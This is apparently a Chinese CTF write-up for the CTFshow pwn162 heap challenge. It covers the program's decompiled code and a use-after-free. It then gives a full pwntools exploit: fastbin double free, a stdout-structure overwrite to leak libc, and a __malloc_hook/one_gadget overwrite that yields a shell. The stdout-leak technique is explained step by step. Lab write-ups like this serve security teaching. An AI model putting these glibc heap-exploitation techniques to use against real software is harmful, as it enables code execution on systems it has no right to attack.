CTFshow-pwn162
[!NOTE]
有些东西在早些版本是有缺陷的?
- 远程环境:Ubuntu 16.04
libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11
保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn162
[*] '/home/niuyingying/ctf/pwn/pwn162'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
在 ida 中查看程序流程
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("=================");
puts("1. Add ");
puts("2. View ");
puts("3. Delete ");
puts("4. Exit ");
printf("Your choice : ");
return __readfsqword(0x28u) ^ v1;
}
int Add()
{
unsigned int size; // [rsp+0h] [rbp-20h] BYREF
unsigned int size_4; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
s = 0;
buf = 0;
size = 0;
if ( (unsigned int)item_count > 0x13 )
return puts("Too much!!!");
s = malloc(0x28u);
memset(s, 0, 0x28u);
puts("size of the daniu's name: ");
__isoc99_scanf("%u", &size);
if ( size == -1 )
exit(-1);
if ( size <= 0x7F && size )
{
buf = malloc(size);
if ( !buf )
{
puts("Error !!");
exit(-1);
}
puts("daniu's name:");
read(0, buf, size);
*((_QWORD *)s + 1) = buf;
puts("daniu's message:");
__isoc99_scanf("%23s", (char *)s + 16);
*(_DWORD *)s = 1;
for ( size_4 = 0; size_4 <= 0x13; ++size_4 )
{
if ( !daniu_list[size_4] )
{
daniu_list[size_4] = s;
break;
}
}
++item_count;
return puts("Added!");
}
else
{
puts("size error!!");
return 0;
}
}
int Delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !item_count )
return puts("Null!");
puts("daniu's index:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x13 && daniu_list[v1] )
{
*(_DWORD *)daniu_list[v1] = 0;
free(*(void **)(daniu_list[v1] + 8LL));
return puts("Deleted!");
}
else
{
puts("index error!");
return 0;
}
}
程序没有正常的 show 函数,发现存在 UAF 漏洞
利用思路是走两段 fastbin attack:首先利用 0x70 fastbin double free,构造堆上 fake chunk,再通过低 16 位局部覆盖把分配打到 _IO_2_1_stdout_ - 0x43 附近,接着改 stdout flags 为 0xFBAD1887,泄漏 libc 地址,计算 libc_base = leak - 0x3c56a3 ,再次 fastbin poison 到 __malloc_hook - 0x23 写入 __realloc_hook = one_gadget 和 __malloc_hook = realloc + 0x10 ,最后触发 Add 函数从而 get shell
这里补一下利用 stdout 泄露 libc 的相关知识:
为了利用 _IO_2_1_stdout_ 泄露内存,通常需要修改其 _flags、_IO_write_base 和 _IO_write_ptr 字段
一般将 _flags 设置为 0xfbad18**,其中需要包含:
_IO_MAGIC = 0xFBAD0000
_IO_CURRENTLY_PUTTING = 0x800
_IO_IS_APPENDING = 0x1000
这样可以使 stdout 保持在写入状态,并避免 glibc 在输出过程中重新初始化写缓冲区指针
随后,将 _IO_write_base 设置为待泄露内存的起始地址,将 _IO_write_ptr 设置为泄露范围的结束地址,并保证:
_IO_write_ptr > _IO_write_base
当后续调用 puts、printf、fflush,或其他能够触发 stdout 刷新的操作时,glibc 会将:
[_IO_write_base, _IO_write_ptr)
范围内的数据写入标准输出,从而实现内存泄露
据此编写脚本,这个脚本是在本地关上 ASLR 运行的,远程多试几次就能打通
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn162')
libc = ELF('./libc-2.23.so')
io = process('./pwn162')
# io = remote("pwn.challenge.ctf.show",28253)
# io = gdb.debug('./pwn162', gdbscript='set pagination off\nbreakrva 0xD33\nbreakrva 0xEC1\nc')
def Add(size,text):
io.recvuntil(b"Your choice : ")
io.sendline(b"1")
io.recvuntil(b"size of the daniu's name: \n")
io.sendline(str(size).encode())
io.recvuntil(b"daniu's name:\n")
io.send(text)
io.recvuntil(b"daniu's message:\n")
io.send(b"\x00" * 8 + p64(0x71) + b"\x00" * 7) # 23
def Delete(i):
io.recvuntil(b"Your choice : ")
io.sendline(b"3")
io.recvuntil(b"daniu's index:\n")
io.sendline(str(i).encode())
# pwndbg> p/x &_IO_2_1_stdout_
# $1 = 0x7ffff7bc5620
key = (libc.sym["_IO_2_1_stdout_"] - 0x43) & 0xffff # 0x55dd
Add(0x60,12 * p64(0x71)) # 0->0x555555a01030
Add(0x60,12 * p64(0x71)) # 1->0x555555a010d0
# fastbins
# 0x70: 0x555555a01030 —▸ 0x555555a010d0 ◂— 0x555555a01030
Delete(0)
Delete(1)
Delete(0)
Add(0x60,b"\x20") # 2->0
Add(0x60,b"\x20") # 3->1
Add(0x60,b"\x20") # 4->0
Add(0x60,p64(0) + p64(0x71)) # 5->0x555555a01020
Delete(0)
Delete(5)
Add(0x60,p64(0) + p64(0x91)) # 6->5
# name chunk
Add(0x20,p64(0xdeadbeef)) # 7->0x555555a01260
# fastbins
# 0x70: 0x555555a01030 —▸ 0x7ffff7bc4b78 ◂— 0x555555a01030
# unsortedbin
# all: 0x555555a01030 —▸ 0x7ffff7bc4b78 ◂— 0x555555a01030
Delete(0)
Delete(5)
Delete(7)
# fastbins
# 0x70: 0x555555a01030 —▸ 0x7ffff7bc55dd (_IO_2_1_stderr_+157) ◂— 0
# unsortedbin
# all [corrupted]
# FD: 0x555555a01030 —▸ 0x7ffff7bc55dd (_IO_2_1_stderr_+157) ◂— 0
# BK: 0x555555a01030 —▸ 0x7ffff7bc4b78 ◂— 0x555555a01030
Add(0x60,p64(0) + p64(0x71) + p16(key))
# fastbins
# 0x70: 0x7ffff7bc55dd (_IO_2_1_stderr_+157) ◂— 0
# unsortedbin
# all [corrupted]
# FD: 0x555555a01030 ◂— 0xdeadbeef
# BK: 0x555555a01030 —▸ 0x7ffff7bc4b78 ◂— 0x555555a01030
Delete(7)
Add(0x60,p64(0xdeadbeef))
Delete(7)
io.recvuntil(b"Your choice : ")
io.sendline(b"1")
io.recvuntil(b"size of the daniu's name: \n")
io.sendline(str(0x60).encode())
io.recvuntil(b"daniu's name:\n")
payload1 = b"\x00" * 0x33 + p64(0xFBAD1887) + p64(0) * 3 + b"\x58"
io.send(payload1)
# 0x7ffff7bc56a3
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
io.recvuntil(b"daniu's message:\n")
io.send(b"\x00" * 8 + p64(0x71) + b"\x00" * 7)
# 0x7ffff7800000
libc_base = leak - 0x3c56a3
print(hex(libc_base))
one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
Delete(5)
Delete(0)
Delete(5)
Delete(7)
Add(0x60,p64(malloc_hook - 0x23))
Delete(7)
Add(0x60,p64(malloc_hook - 0x23))
Delete(7)
Add(0x60,p64(malloc_hook - 0x23))
Delete(7)
payload2 = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)
Add(0x60,payload2)
io.recvuntil(b"Your choice : ")
io.sendline(b"1")
io.interactive()
继续讲一下 stdout 泄露 libc
首先,stdout - 0x43 这个位置不是随便选的,它附近的原始 libc 数据还能让 fake chunk 的 size 字段通过 fastbin size 检查
payload1 = b"\x00" * 0x33 + p64(0xFBAD1887) + p64(0) * 3 + b"\x58"
对应 stdout 结构体大概是:
_IO_2_1_stdout_ + 0x00: _flags
_IO_2_1_stdout_ + 0x08: _IO_read_ptr
_IO_2_1_stdout_ + 0x10: _IO_read_end
_IO_2_1_stdout_ + 0x18: _IO_read_base
_IO_2_1_stdout_ + 0x20: _IO_write_base
_IO_2_1_stdout_ + 0x28: _IO_write_ptr
_IO_2_1_stdout_ + 0x30: _IO_write_end
_IO_2_1_stdout_ + 0x38: _IO_buf_base
_IO_2_1_stdout_ + 0x40: _IO_buf_end
所以 payload1 实际效果是:
先覆盖 stdout 的 _flags 为 p64(0xFBAD1887)
debug 可以看到:
原来:
0x7ffff7bc5620 <_IO_2_1_stdout_>: 0x00000000fbad2887
覆盖后:
0x7ffff7bc5620 <_IO_2_1_stdout_>: 0x00000000fbad1887
这个 0xFBAD1887 是伪造 _IO_FILE 状态,让 stdout 认为自己有一段缓冲区内容需要输出
接着 p64(0) * 3 清掉:
_IO_read_ptr
_IO_read_end
_IO_read_base
最后覆盖 _IO_write_base 的最低 1 字节为 b"\x58"
使 _IO_write_base 由 0x00007ffff7bc56a3 变成 0x00007ffff7bc5658
而 _IO_write_ptr 还保持在 0x00007ffff7bc56a3
于是 stdout 会认为:
需要输出的缓冲区 = [0x7ffff7bc5658, 0x7ffff7bc56a3)
这段内存就在 libc 的 stdout 结构体里面,里面有大量 libc 地址。于是程序后面打印:
puts("daniu's message:")
时,会先把这段“伪造出来的缓冲区内容”刷出来,造成 libc 泄露

浙公网安备 33010602011771号